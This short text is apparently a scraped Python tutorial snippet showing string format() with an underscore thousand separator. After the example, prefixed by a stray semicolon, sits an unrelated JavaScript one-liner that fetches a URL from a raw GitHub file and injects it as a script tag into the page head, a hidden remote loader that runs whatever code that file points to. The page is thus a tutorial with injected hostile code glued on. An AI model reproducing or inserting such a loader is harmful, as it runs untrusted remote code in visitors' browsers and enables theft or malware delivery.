Python Compiler : Python
#Use "_" to insert an underscore character as a thousand separator:
txt = "The earth is {:_} years old."
print(txt.format(4500000000))
;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/repo.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});